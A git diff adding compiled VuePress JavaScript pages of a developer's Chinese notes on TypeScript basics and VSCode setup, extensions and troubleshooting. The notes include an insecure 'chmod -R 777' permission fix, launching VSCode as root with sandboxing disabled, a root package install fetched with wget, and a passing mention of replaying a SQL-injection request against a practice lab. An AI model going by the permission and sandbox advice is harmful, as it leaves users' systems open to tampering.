`,4),J=t(` 接口与类型别名的区别 扩展接口 `,5),U={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-implement-interfaces/4-extend-interface",target:"_blank",rel:"noopener noreferrer"},Q=t(`接口可以相互扩展。 这使你能够将一个接口的成员复制到另一个接口,从而在将接口分离为可重用组件方面提供了更大的灵活性。
当使用一个或多个接口扩展接口时,将适用以下规则:
必须从所有接口实现所有必需的属性。 如果属性具有完全相同的名称和类型,则两个接口可以具有相同的属性。 如果两个接口具有名称相同但类型不同的属性,则必须声明一个新属性,以使生成的属性是这两个接口的子类型。 interface IceCream {
+ flavor: string ;
+ scoops: number ;
+ instructions? : string ;
+}
+
+interface Sundae extends IceCream {
+ sauce: 'chocolate' | 'caramel' | 'strawberry' ;
+ nuts? : boolean ;
+ whippedCream? : boolean ;
+ instructions? : boolean ;
+
+}
+
`,3),G=n("hr",null,null,-1),O=n("h3",{id:"使用接口的其他方法",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#使用接口的其他方法","aria-hidden":"true"},"#"),s(" 使用接口的其他方法")],-1),Y={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-implement-interfaces/5-use-interfaces",target:"_blank",rel:"noopener noreferrer"},H=t(` 创建可索引类型 interface IceCreamArray {
+ [ index: number ] : string ;
+}
+
+let myIceCream: IceCreamArray;
+myIceCream = [ 'chocolate' , 'vanilla' , 'strawberry' ] ;
+let myStr: string = myIceCream[ 0 ] ;
+console . log ( myStr) ;
+
你还可以使用内置的数组类型或为自定义数组创建类型别名,但通过使用接口,你可以定义自己的数组类型,以便要使用该接口的任何人都可以一致地应用它
使用接口描述 JavaScript API JavaScript 和 TypeScript 开发人员面临一个共同的难点,即使用外部 JavaScript 库。 可以使用接口描述现有的 JavaScript API 并阐明函数参数和返回类型。 接口使你能够清楚地了解 API 的期望值和返回值。 const fetchURL = 'https://jsonplaceholder.typicode.com/posts'
+
+interface Post {
+ userId: number ;
+ id: number ;
+ title: string ;
+ body: string ;
+}
+async function fetchPosts ( url: string ) {
+ let response = await fetch ( url) ;
+ let body = await response. json ( ) ;
+ return body as Post[ ] ;
+}
+async function showPost ( ) {
+ let posts = await fetchPosts ( fetchURL) ;
+
+ let post = posts[ 0 ] ;
+ console . log ( 'Post #' + post. id)
+
+ console . log ( 'Author: ' + ( post. userId === 1 ? "Administrator" : post. userId. toString ( ) ) )
+ console . log ( 'Title: ' + post. title)
+ console . log ( 'Body: ' + post. body)
+}
+
+showPost ( ) ;
+
虽然早期版本的 ECMAScript(如 ES3)不支持 async
和 await
,但 TypeScript 编译器能够生成兼容代码来实现此功能。 这样,你就能够在仍使用旧版浏览器的同时利用较新的功能!
函数 `,12),Z={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-develop-typed-functions/2-create-functions-typescript",target:"_blank",rel:"noopener noreferrer"},R=t(`TypeScript
简化了函数开发,通过允许键入参数和返回值,使它们更易于进行故障排除。 TypeScript
还为参数添加了新选项。 例如,虽然在 JavaScript
函数中,所有参数都是可选的,但你可以在 TypeScript
中将参数设置为必需的或可选的。
命名函数 function addNumbers ( x: number , y: number ) : number {
+ return x + y;
+}
+console . log ( addNumbers ( 1 , 2 ) )
+
匿名函数 函数表达式(或匿名函数)是未预先加载到执行上下文中的函数,并且仅当代码遇到该函数时才会运行。 函数表达式是在运行时创建的,并且必须先声明才能调用。 (这意味着不会对它们进行提升,而命名函数声明在程序开始执行时就会进行提升,并且可以在其声明之前调用。)
let addNumbers_anonymous = function ( x: number , y: number ) : number {
+ return x + y;
+}
+console . log ( addNumbers_anonymous ( 3 , 2 ) )
+
+let total = function ( input: number [ ] ) : number {
+ let sum: number = 0 ;
+ for ( let i = 0 ; i < input. length; i++ ) {
+ if ( isNaN ( input[ i] ) ) {
+ continue ;
+ }
+ sum += input[ i] ;
+ }
+ return sum;
+}
+console . log ( total ( [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] ) )
+
在使用匿名函数时,你将获得类型检查和 Intellisense。 你还会注意到,在此示例中,变量 total
不是类型化的变量,但 TypeScript 可以通过称为“上下文类型化”的内容(一种类型推理形式)来确定其类型。 这可以减少保持程序类型所需的工作量。
箭头函数 箭头函数(也称为 Lambda 或胖箭头函数,因为定义它们的是 =>
运算符)提供用于定义匿名函数的简写语法。 由于其简洁性,箭头函数通常用于简单的函数和某些事件处理场景。
箭头函数通过省略函数关键字并在参数和函数体之间添加 =>
运算符来简化语法。
let addNumbers_arrow = ( x: number , y: number ) : number => {
+ return x + y;
+}
+console . log ( addNumbers_arrow ( 3 , 4 ) )
+
箭头函数是在 ES2015 中引入的,因此并非所有浏览器都支持它们。 通过使用 TypeScript,你可以利用这些函数类型,然后转译到更低的 JavaScript 版本(如有必要),这样你的代码就可以在旧版浏览器上使用。
参数 `,18),K={href:"https://docs.microsoft.com/zh-cn/learn/modules/typescript-develop-typed-functions/4-parameters",target:"_blank",rel:"noopener noreferrer"},W=t(`可选参数
console . log ( "可选参数:" )
+let addNumbers_optional = ( x: number , y? : number ) : number => {
+ if ( y === undefined ) {
+ y = 0 ;
+ }
+ return x + y;
+}
+console . log ( addNumbers_optional ( 5 , 4 ) )
+console . log ( addNumbers_optional ( 5 ) )
+
需要注意的是设置了参数可选后, 函数体内需要对没有参数的情况进行相应处理
默认参数
let addNumbers_default = ( x: number , y: number = 10 ) : number => {
+ return x + y;
+}
+console . log ( addNumbers_default ( 5 , 4 ) )
+console . log ( addNumbers_default ( 5 ) )
+
rest 参数
如果要使用多个参数作为一个组(在数组中)或不知道函数最终将采用的参数数量,则可以使用 rest 参数。 rest 参数被视为无限数量的可选参数。 可以将它们保留不动,或根据需要调整数量。
此示例包含一个必需参数和一个可选参数 restOfNumbers
,该参数可接受任意数量的其他数字。 restOfNumbers
之前的省略号 (...
) 指示编译器构建一个传递给函数的参数数组,并给它后面的名称赋值,这样你就可以在函数中使用它。
let addAllNumbers_rest = ( firstNumber: number , ... restOfNumbers: number [ ] ) : number => {
+ let total: number = firstNumber;
+ for ( let counter = 0 ; counter < restOfNumbers. length; counter++ ) {
+ if ( isNaN ( restOfNumbers[ counter] ) ) {
+ continue ;
+ }
+ total += Number ( restOfNumbers[ counter] ) ;
+ }
+ return total;
+}
+console . log ( addAllNumbers_rest ( 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ) )
+console . log ( addAllNumbers_rest ( 2 ) )
+console . log ( addAllNumbers_rest ( 2 , 3 , NaN , 4 ) )
+
析构对象参数
函数参数是有位置的,并且必须按照它们在函数中定义的顺序传递。 在调用具有多个可选参数或相同数据类型的函数时,这可能会降低代码的可读性。
若要启用命名参数,可以使用称为析构对象参数的技术。 这使你能够在函数中使用接口来定义命名参数,而不是定位参数。
以下示例定义了一个接口 Message
,该接口又定义了两个属性。 在 displayMessage
函数中,Message
对象作为参数传递,提供对属性的访问,就像它们是普通参数一样。
主要是当参数多的时候能够更加明显看出参数的含义
interface Message {
+ text: string ;
+ sender: string ;
+}
+
+function displayMessage ( { text, sender } : Message) {
+ console . log ( \` Message from \${ sender} : \${ text} \` ) ;
+}
+
+displayMessage ( { sender: 'Christopher' , text: 'hello, world' } ) ;
+
定义函数类型 可以使用类型别名来定义函数类型
+type calculator = ( x: number , y: number ) => number ;
+
+let addNumbers_calculator: calculator = ( x: number , y: number ) => x + y;
+
+let subtractNumbers_calculator: calculator = ( x: number , y: number ) => x - y;
+
+let doCalculation = ( operation: "add" | "substract" ) : calculator => {
+ if ( operation === "add" ) {
+ return addNumbers_calculator;
+ } else {
+ return subtractNumbers_calculator;
+ }
+}
+console . log ( doCalculation ( "add" ) ( 1 , 2 ) )
+console . log ( doCalculation ( "substract" ) ( 1 , 2 ) )
+
将别名换成 interface 定义接口, 主体逻辑也不用改变
+
+
+interface calculator {
+ ( x: number , y: number ) : number ;
+}
+
+
+let addNumbers_calculator: calculator = ( x: number , y: number ) => x + y;
+
+let subtractNumbers_calculator: calculator = ( x: number , y: number ) => x - y;
+
+let doCalculation = ( operation: "add" | "substract" ) : calculator => {
+ if ( operation === "add" ) {
+ return addNumbers_calculator;
+ } else {
+ return subtractNumbers_calculator;
+ }
+}
+console . log ( doCalculation ( "add" ) ( 1 , 2 ) )
+console . log ( doCalculation ( "substract" ) ( 1 , 2 ) )
+
Tips VSCode 扩展 Live Server
Launch a development local Server with live reload feature for static & dynamic pages
实时编译运行 JS, 再打开开发者工具, 可以边改动边观察效果
HTML Boilerplate
自动生成 HTML5 模板
在线编译运行 `,18),X={href:"https://www.typescriptlang.org/zh/play#code/GYVwdgxgLglg9mABAQwCaoHIgLYCMCmATgM4AUAHgFxg4GEA0iAntbUQJQDeAUIn4oXxQQhJOUQBqZgG5uAX24QExOABt8AOlVwA5qTSY2JUgCIoAC0H4T9AGzt2QA",target:"_blank",rel:"noopener noreferrer"},$={href:"https://www.typescriptlang.org/play?#code/PTAEHUFMBsGMHsC2lQBd5oBYoCoE8AHSAZVgCcBLA1UABWgEM8BzM+AVwDsATAGiwoBnUENANQAd0gAjQRVSQAUCEmYKsTKGYUAbpGF4OY0BoadYKdJMoL+gzAzIoz3UNEiPOofEVKVqAHSKymAAmkYI7NCuqGqcANag8ABmIjQUXrFOKBJMggBcISGgoAC0oACCoASMFmgY7p7ehCTkVOle4jUMdRLYTqCc8LEZzCZmoNJODPHFZZXVtZYYkAAeRJTInDQS8po+rf40gnjbDKv8LqD2jpbYoACqAEoAMsK7sUmxkGSCc+VVQQuaTwVb1UBrDYULY7PagbgUZLJH6QbYmJAECjuMigZEMVDsJzCFLNXxtajBBCcQQ0MwAUVWDEQNUgADVHBQGNJ3KAALygABEAAkYNAMOB4GRogLFFTBPB3AExcwABT0xnM9zsyhc9wASmCKhwDQ8ZC8iElzhB7Bo3zcZmY7AYzEg-Fg0HUiS58D0Ii8AoZTJZggFSRxAvADlQAHJhAA5SASAVBFQAeW+ZF2gldWkgx1QjgUrmkeFATgtOlGWH0KAQiBhwiudokkuiIgMHBx3RYbC43CCJSAA",target:"_blank",rel:"noopener noreferrer"},nn=n("hr",null,null,-1),sn=n("h2",{id:"promise",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#promise","aria-hidden":"true"},"#"),s(" Promise")],-1),an={href:"https://rexdainiel.gitbooks.io/typescript/content/docs/promise.html",target:"_blank",rel:"noopener noreferrer"},en=n("strong",null,"感觉文档比较生硬, 夹杂着很多奇怪的词汇, 看起来像是蹩脚的翻译",-1),tn={href:"https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise",target:"_blank",rel:"noopener noreferrer"},pn={href:"https://www.liaoxuefeng.com/wiki/1022910821149312/1023024413276544",target:"_blank",rel:"noopener noreferrer"},on=n("code",null,"Promise",-1),cn={href:"https://github.com/stefanpenner/es6-promise",target:"_blank",rel:"noopener noreferrer"},ln=t('Promise
对象用于表示一个异步操作的最终完成 (或失败)及其结果值。
一个 Promise
对象代表一个在这个 promise
被创建出来时不一定已知的值。它让您能够把异步操作最终的成功返回值或者失败原因和相应的处理程序关联起来。 这样使得异步方法可以像同步方法那样返回值:异步方法并不会立即返回最终的值,而是会返回一个 promise
,以便在未来某个时候把值交给使用者。
一个 Promise
必然处于以下几种状态之一:
待定(pending) : 初始状态,既没有被兑现,也没有被拒绝。已兑现(fulfilled) : 意味着操作成功完成。已拒绝(rejected) : 意味着操作失败。待定状态的 Promise 对象要么会通过一个值被兑现(fulfilled) ,要么会通过一个原因(错误)被拒绝(rejected) 。当这些情况之一发生时,我们用 promise 的 then 方法排列起来的相关处理程序就会被调用。如果 promise 在一个相应的处理程序被绑定时就已经被兑现或被拒绝了,那么这个处理程序就会被调用,因此在完成异步操作和绑定处理方法之间不会存在竞争状态。
',6),un=n("em",null,"已决议(resolved)",-1),rn=n("code",null,"Domenic Denicola",-1),dn={href:"https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md",target:"_blank",rel:"noopener noreferrer"},kn=t(` 创建 Promise 创建 promise
只需要简单地在 Promise 构造器
上调用 new
即可; promise 构造器
传入 resolve
和 reject
以控制 promise 状态
const promise = new Promise ( ( resolve, reject) => {
+
+} ) ;
+
`,4);function mn(bn,vn){const a=o("ExternalLinkIcon");return c(),l("div",null,[u,n("ul",null,[n("li",null,[n("p",null,[s("首先要安装 "),n("a",r,[s("nodejs"),e(a)])])]),d]),k,m,b,n("ul",null,[n("li",null,[n("p",null,[n("a",v,[s("介绍 - Learn | Microsoft Docs"),e(a)])])]),n("li",null,[n("p",null,[n("a",h,[s("B站微软Reactor_SH"),e(a)])])]),n("li",null,[n("p",null,[n("a",g,[s("<官网>起步 · TypeScript——JavaScript的超集 (tslang.cn)"),e(a)])])]),n("li",null,[n("p",null,[n("a",y,[s("5分钟了解 TypeScript - TypeScript 中文手册 (bootcss.com)"),e(a)])])]),n("li",null,[n("p",null,[n("a",f,[s("TypeScript 教程 | 菜鸟教程 (runoob.com)"),e(a)])])])]),_,w,n("blockquote",null,[n("p",null,[n("a",E,[s("基础类型 - TypeScript 中文手册 (bootcss.com)"),e(a)])]),n("p",null,[n("a",x,[s("在 TypeScript 中声明变量类型 - Learn | Microsoft Docs"),e(a)])])]),A,n("blockquote",null,[n("p",null,[n("a",B,[s("TypeScript 使用let和const声明变量 - 知乎 (zhihu.com)"),e(a)])])]),S,n("blockquote",null,[n("p",null,[n("a",q,[s("练习 - 枚举 - Learn | Microsoft Docs"),e(a)])]),n("p",null,[n("a",N,[s("TS入门篇 | 详解 TypeScript 枚举类型 - 掘金 (juejin.cn)"),e(a)])])]),T,n("blockquote",null,[n("p",null,[n("a",C,[s("TypeScript 中的任何 any 和 unknown 类型 - Learn | Microsoft Docs"),e(a)])])]),M,n("blockquote",null,[n("p",null,[n("a",D,[s("TypeScript 中的联合类型和交叉类型 - Learn | Microsoft Docs"),e(a)])])]),I,n("blockquote",null,[n("p",null,[n("a",P,[s("TypeScript 中的联合类型和交叉类型 - Learn | Microsoft Docs"),e(a)])])]),V,n("blockquote",null,[n("p",null,[n("a",F,[s("TypeScript 中的集合类型 - Learn | Microsoft Docs"),e(a)])])]),L,n("ul",null,[n("li",null,[n("p",null,[n("a",j,[s("TypeScript 中的接口概述 - Learn | Microsoft Docs"),e(a)])])]),z]),J,n("ul",null,[n("li",null,[n("p",null,[n("a",U,[s("练习 - 在 TypeScript 中扩展接口 - Learn | Microsoft Docs"),e(a)])])]),Q]),G,O,n("ul",null,[n("li",null,[n("a",Y,[s("在 Typescript 中使用接口的其他方法 - Learn | Microsoft Docs"),e(a)])])]),H,n("blockquote",null,[n("p",null,[n("a",Z,[s("在 TypeScript 中创建函数 - Learn | Microsoft Docs"),e(a)])])]),R,n("blockquote",null,[n("p",null,[n("a",K,[s("运用参数的乐趣 - Learn | Microsoft Docs"),e(a)])])]),W,n("ul",null,[n("li",null,[n("p",null,[n("a",X,[s("TypeScript: 游乐场 - 一个用于 TypeScript 和 JavaScript 的在线编辑器 (typescriptlang.org)"),e(a)])])]),n("li",null,[n("p",null,[n("a",$,[s("TypeScript: TS Playground - An online editor for exploring TypeScript and JavaScript (typescriptlang.org)"),e(a)])])])]),nn,sn,n("blockquote",null,[n("p",null,[n("a",an,[s("Promise · 深入挖掘 TypeScript (gitbooks.io)"),e(a)]),s("["),en,s("]")]),n("p",null,[n("a",tn,[s("Promise - JavaScript | MDN (mozilla.org)"),e(a)])]),n("p",null,[n("a",pn,[s("Promise - 廖雪峰的官方网站 (liaoxuefeng.com)"),e(a)])])]),n("p",null,[on,s(" 类存在于很多现代 JavaScript 引擎中,而且可以很容易地被 "),n("a",cn,[s("polyfill"),e(a)]),s("。Promise 的主要目的是为异步/回调风格的代码带来同步风格的错误处理。")]),ln,n("blockquote",null,[n("p",null,[s("如果一个 promise 已经被兑现(fulfilled)或被拒绝(rejected),那么我们也可以说它处于*已敲定(settled)*状态。您还会听到一个经常跟 promise 一起使用的术语:"),un,s(',它表示 promise 已经处于已敲定(settled)状态,或者为了匹配另一个 promise 的状态被"锁定"了。'),rn,s(" 的 "),n("a",dn,[s("States and fates"),e(a)]),s(" 中有更多关于 promise 术语的细节可以供您参考。")])]),kn])}const yn=p(i,[["render",mn],["__file","TypeScript.html.vue"]]);export{yn as default};
diff --git a/assets/VSCode.html-232a6f0d.js b/assets/VSCode.html-232a6f0d.js
new file mode 100644
index 0000000000..0aa14edc23
--- /dev/null
+++ b/assets/VSCode.html-232a6f0d.js
@@ -0,0 +1,96 @@
+import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as d,c as u,b as e,e as n,d as s,w as i,f as t}from"./app-880c6425.js";const m={},h=e("h1",{id:"vscode",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#vscode","aria-hidden":"true"},"#"),n(" VSCode")],-1),g=e("hr",null,null,-1),b=e("h2",{id:"vscode-下载",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#vscode-下载","aria-hidden":"true"},"#"),n(" VSCode 下载")],-1),v={href:"https://blog.csdn.net/bielaiwuyang1999/article/details/117814237",target:"_blank",rel:"noopener noreferrer"},k={href:"https://code.visualstudio.com/Download",target:"_blank",rel:"noopener noreferrer"},_=t('在下载按钮上右键复制链接, 或者点击下载后在浏览器下载或者是其他下载工具中可以找到软件下载的直链
复制该 URL 然后将 /stable 前的地址替换为国内镜像地址再进行下载即可, 如:
原地址: https://az764295.vo.msecnd.net/stable/ccbaa2d27e38e5afa3e5c21c1c7bef4657064247/VSCodeUserSetup-x64-1.62.3.exe
将 az764295.vo.msecnd.net
替换为 vscode.cdn.azure.cn
得到新地址: 新地址: https://vscode.cdn.azure.cn/stable/ccbaa2d27e38e5afa3e5c21c1c7bef4657064247/VSCodeUserSetup-x64-1.62.3.exe
然后通过这个新地址下载即可 安装 ',6),y=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"wget"),n(` https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/code_1.74.3-1673284829_amd64.deb
+`),e("span",{class:"token function"},"su"),n(` root
+`),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` ./code_1.74.3-1673284829_amd64.deb
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),q={href:"https://code.visualstudio.com/",target:"_blank",rel:"noopener noreferrer"},f=e("br",null,null,-1),x=e("code",null,"sudo apt install ... ",-1),D=e("code",null,"su root",-1),E=e("p",null,"安装完成后需要使用",-1),S=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"sudo"),n(" code --no-sandbox --disable-gpu-sandbox --user-data-dir"),e("span",{class:"token operator"},"="),e("span",{class:"token string"},'"~/.vscode"'),n(`
+`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"})])],-1),C=e("p",null,"来以管理员模式打开 VSCode, 但是似乎无法使用中文输入法(ubuntu2204)",-1),N=e("p",null,[n("不用管理员模式, 直接打开 VSCode 的话似乎无法编辑系统盘之外硬盘的文件, 这是因为挂载硬盘的时候可能使用的 root 账户, 所以普通用户没有权限, 可以 "),e("code",null,"su root"),n(" 后使用 "),e("code",null,"chmod -R 777 [目标目录]"),n(" 来放通权限")],-1),w=e("hr",null,null,-1),R=e("h2",{id:"查找替换",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#查找替换","aria-hidden":"true"},"#"),n(" 查找替换")],-1),A=e("h3",{id:"使用正则表达式",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#使用正则表达式","aria-hidden":"true"},"#"),n(" 使用正则表达式")],-1),P={href:"https://zhuanlan.zhihu.com/p/414806629",target:"_blank",rel:"noopener noreferrer"},T=e("hr",null,null,-1),B=t(`(&#[0-9]{2,3};)
+\`$1\`
+
需要注意的是匹配部分的 ()
可以划定分组, 在替换部分可以使用 $x
来指代匹配到的分组
(&[a-z]{2,6}[0-9]{0,2};)
+\`$1\`
+
删掉空行
似乎没有成功把空行替换为空字符, 这里先保存一下
用户代码片段 `,14),V={href:"https://code.visualstudio.com/docs/editor/userdefinedsnippets",target:"_blank",rel:"noopener noreferrer"},L=t(`设置 -> 用户代码片段
自用代码片段 stash python.json
:
{
+
+
+
+
+ "python-template" : {
+ "prefix" : "py" ,
+ "body" : [
+ "'''" ,
+ "-*- encoding: utf-8 -*-" ,
+ "@文件: $RELATIVE_FILEPATH" ,
+ "@时间: $CURRENT_YEAR/$CURRENT_MONTH/$CURRENT_DATE $CURRENT_HOUR:$CURRENT_MINUTE:$CURRENT_SECOND" ,
+ "@作者: 咸鱼型233" ,
+ "@说明: " ,
+ "'''"
+ ]
+ }
+}
+
vue.json
:
{
+
+
+
+
+
+
+
+
+
+
+
+
+
+ "vue-template" : {
+ "prefix" : "vue3" ,
+ "body" : [
+ "<script setup lang=\\"ts\\">" ,
+ "</script>" ,
+ "" ,
+ "<template>" ,
+ "<div>" ,
+ "</div>" ,
+ "</template>" ,
+ "" ,
+ "<style lang=\\"less\\" scoped>" ,
+ "</style>"
+ ] ,
+ "description" : "vue3 template"
+ }
+}
+
`,11),U={href:"https://github.com/OBKoro1/koro1FileHeader/wiki/%E9%85%8D%E7%BD%AE%E5%AD%97%E6%AE%B5",target:"_blank",rel:"noopener noreferrer"},$={href:"https://github.com/OBKoro1/koro1FileHeader/wiki/%E5%AE%89%E8%A3%85%E5%92%8C%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B",target:"_blank",rel:"noopener noreferrer"},M=t(`可用于创建文件时自动生成注释
个人配置 stash
+ "fileheader.customMade" : {
+ "Author" : "咸鱼型233" ,
+ "Date" : "Do not edit" ,
+ "LastEditors" : "咸鱼型233" ,
+
+
+ "LastEditTime" : "Do not edit" ,
+
+ "FilePath" : "Do not edit" ,
+
+ "Description" : "" ,
+
+
+ "custom_string_obkoro1" : "" ,
+
+ "custom_string_obkoro1_copyright" : "Copyright (c) \${now_year} by 咸鱼型233, All Rights Reserved. "
+ } ,
+
+ "fileheader.cursorMode" : {
+ "description" : "" ,
+ "param" : "" ,
+ "return" : "" ,
+ } ,
+
+ "fileheader.configObj" : {
+
+ "prohibitAutoAdd" : [
+ "json"
+ ] ,
+ "folderBlacklist" : [
+ "node_modules" ,
+ "README.md" ,
+ ] ,
+ } ,
+
快捷键 文件头部注释快捷键 记录文件信息/文件的传参/出参,设置个性签名、留下 QQ、微信联系方式、输入空行等等 支持用户高度自定义注释选项, 适配各种需求的注释形式。 保存文件的时候,自动更新最后的编辑时间和编辑人 window
:ctrl+win+i
,mac
:ctrl+cmd+i
, linux
: ctrl+meta+i
,Ubuntu
: ctrl+super+i
函数注释注释快捷键 `,7),O={href:"https://github.com/OBKoro1/koro1FileHeader/wiki/%E9%85%8D%E7%BD%AE#%E5%87%BD%E6%95%B0%E6%B3%A8%E9%87%8A%E8%87%AA%E5%8A%A8%E6%8F%90%E5%8F%96%E5%87%BD%E6%95%B0%E7%9A%84%E5%8F%82%E6%95%B0",target:"_blank",rel:"noopener noreferrer"},F=t('将光标放在函数行或者将光标放在函数上方的空白行。 自动解析函数参数,生成函数参数注释。 快捷键:window
:ctrl+win+t
,mac
:ctrl+cmd+t
,linux
: ctrl+meta+t
, Ubuntu
: ctrl+super+t
多行函数参数鼠标选中后函数声明后按快捷键自动提取 鼠标左键选择多行函数声明区域,函数声明区域尽量精准 按函数注释快捷键 扩展食用记录 基础使用 汉化
可以以中文模式显示 VSCode UI
open
用于从 VSCode 中使用系统默认应用打开文件
装了open
插件之后 VSCode 不支持打开的文件可以通过右键菜单调用系统默认应用打开该文件;这样既不用再打开文件资源浏览器中的该文件再打开了
vscode-icons 该扩展可以让左侧文档树文档类型更加明显
Resource Monitor 显示设备(可以是远程连接的设备)当前的 CPU, 内存, 硬盘状态
Drawio Preview 安装了 Drawio Preview 扩展后支持打开 .drawio
文件并开始绘图
CodeTour ',35),H={href:"https://github.com/microsoft/codetour",target:"_blank",rel:"noopener noreferrer"},j=e("hr",null,null,-1),I=t('该扩展可以用来写业务逻辑步骤或者代码分步骤讲解式引导
Markdown 相关 个人编辑 Markdown 文件更倾向于使用 Typora, VSCode 中更多用于预览仓库中的 Markdown 文件以及格式化 markdown 文本
远程开发 Remote - SSH + Docker + Dev Containers 以 Vulhub 为例
',11),z={href:"https://ayusummer.github.io/DailyNotes/%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Linux.html#vscode-remote-ssh",target:"_blank",rel:"noopener noreferrer"},K=t('
安装了 Docker 插件后可以便捷地在左侧查看当前的容器以及镜像列表以及 Compose 列表
图中没显示 stop 的容器是因为容器太多了, stop 的容器可能很久都不会用了所以直接全清了, 镜像基本全推过 Habor 了所以也没什么顾虑
在安装了 Dev Containers 扩展后在任意一个容器上右键 Attach Visual Studio Code
会在页面上方弹出选择容器的菜单, 选择对应容器即可使用 VSCode 打开该容器
像首次 SSH 连接远程主机一样, 首次进入该容器时也会在其内安装 server
安装完 Server 后便连上了
选择 打开文件夹
打开相应目录后即可像正常远程开发一样使用了
Remote-SSH 占用 CPU ',17),Q={href:"https://blog.csdn.net/sigmarising/article/details/107615035",target:"_blank",rel:"noopener noreferrer"},W=t(' 网络相关 REST Client 安装了 REST Client 扩展后可以直接发送 Burp 拦截的请求包, 比如 pikachu 靶场的 sql 宽字节注入:
在当前窗口右键选择 Copy Request As cURL
还可以拷贝当前请求为 cURL 命令
拷贝后的 cURL 命令可以直接在 Linux 上发, 也可以导入到 Thunder Client 或者利用 curlconvert 转换为代码
curlconverter 安装了 curlconverter
后可以将剪贴板上的 cURL 命令生成代码, 流程如下:
使用 REST Client 将 Burp 拦截的请求转换为 cURL 命令后新建一个代码文件, 如 xxx.py
, 打开该文件后右键可以看到 Paste cURL As Python
, 点击后即可生成对应的 Python 代码
PS: 有些请求在被自定义修改后使用 REST Client 可能不见得能生成对应的 cURL 命令, 比如 SQL 注入的请求, 此时可以选择在修改前的请求上 copy cURL 命令
',16),Y={href:"https://curlconverter.com/",target:"_blank",rel:"noopener noreferrer"},J=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202212091026124.png",alt:"image-20221209102648796"})],-1),Z=e("hr",null,null,-1),G=e("h4",{id:"thunder-client",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#thunder-client","aria-hidden":"true"},"#"),n(" Thunder Client")],-1),X={href:"https://www.youtube.com/watch?v=AbCTlemwZ1k",target:"_blank",rel:"noopener noreferrer"},ee=t('
可以当成 Postman 的平替, 这样就不用多开一个软件调试接口了
支持预览响应页
支持将请求生成对应语言代码
编程相关 Error Lens 结合相关语言的语法提示扩展, 安装 Error Lens
扩展后可以在当前报错行显示报错/告警信息
Python Python-autopep8 自动按照 pep8 规范格式化 python 代码 Sourcery ',22),ne={href:"https://docs.sourcery.ai/",target:"_blank",rel:"noopener noreferrer"},se=t('
Sourcery-ai 可以给开发者提供 Python 代码的重构建议:
前端 prettier + ESLint ',8),ae={href:"https://prettier.io/",target:"_blank",rel:"noopener noreferrer"},te={href:"https://prettier.io/docs/en/index.html",target:"_blank",rel:"noopener noreferrer"},oe={href:"https://prettier.io/playground/",target:"_blank",rel:"noopener noreferrer"},ie={href:"http://eslint.cn/",target:"_blank",rel:"noopener noreferrer"},re=t('
用 ESLint 做约束, 用 Prettier 做代码格式化
已弃用扩展 Terminal PS: 新版本 VSCode 该扩展已弃用, 目前直接使用工具栏上的终端指令
命令行终端 安装之后点击有效较的Terminal
图标进行使用 点开之后默认采用当前项目的根目录 清空终端信息
ctrl+shift+p 呼出命令面板 搜索 open keyboard shortcuts 搜索 workbench.action.terminal.clea 报错收集 git Missing or invalid credentials. ',14),pe={href:"https://github.com/microsoft/vscode/issues/107024",target:"_blank",rel:"noopener noreferrer"},ce=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202205032128921.png",alt:"image-20220503212809785"})],-1),le=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202205032128654.png",alt:"image-20220503212826597"})],-1),de=e("hr",null,null,-1),ue=e("h3",{id:"remote-ssh-一直-waiting-for-server-log",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#remote-ssh-一直-waiting-for-server-log","aria-hidden":"true"},"#"),n(" remote-ssh 一直 waiting for server log")],-1),me={href:"https://blog.csdn.net/myWorld001/article/details/119443079",target:"_blank",rel:"noopener noreferrer"},he=e("hr",null,null,-1),ge=t('解决方案为删掉对应的加锁文件
rm -rf ****/vscode-server/bin/****\n
Remote-SSH + tmux 每次 bash 命令执行完都会有红色报错 ``-bash: __vsc_prompt_cmd_original: command not found` ',4),be={href:"https://stackoverflow.com/questions/73421978/vscode-remote-ssh-extension-tmux-bash-vsc-prompt-cmd-original-command-n/73798469#73798469",target:"_blank",rel:"noopener noreferrer"},ve={href:"https://stackoverflow.com/questions/75723868/avoid-bash-vsc-prompt-cmd-original-command-not-found-when-launching-termi",target:"_blank",rel:"noopener noreferrer"},ke=e("hr",null,null,-1),_e=t(`
使用 VSCode 的 Remote SSH 扩展连接到远程服务器时, 其会在服务器 bash 环境中设置一个变量 PROMPT_COMMAND
用于显示 VSCode 的状态栏
当在服务器上使用了 tmux 或者其他终端复用工具时, 他们可能会覆盖或者清除 PROMPT_COMMAND
变量, 导致 bash 无法找到 __vsc_prompt_cmd_original
函数
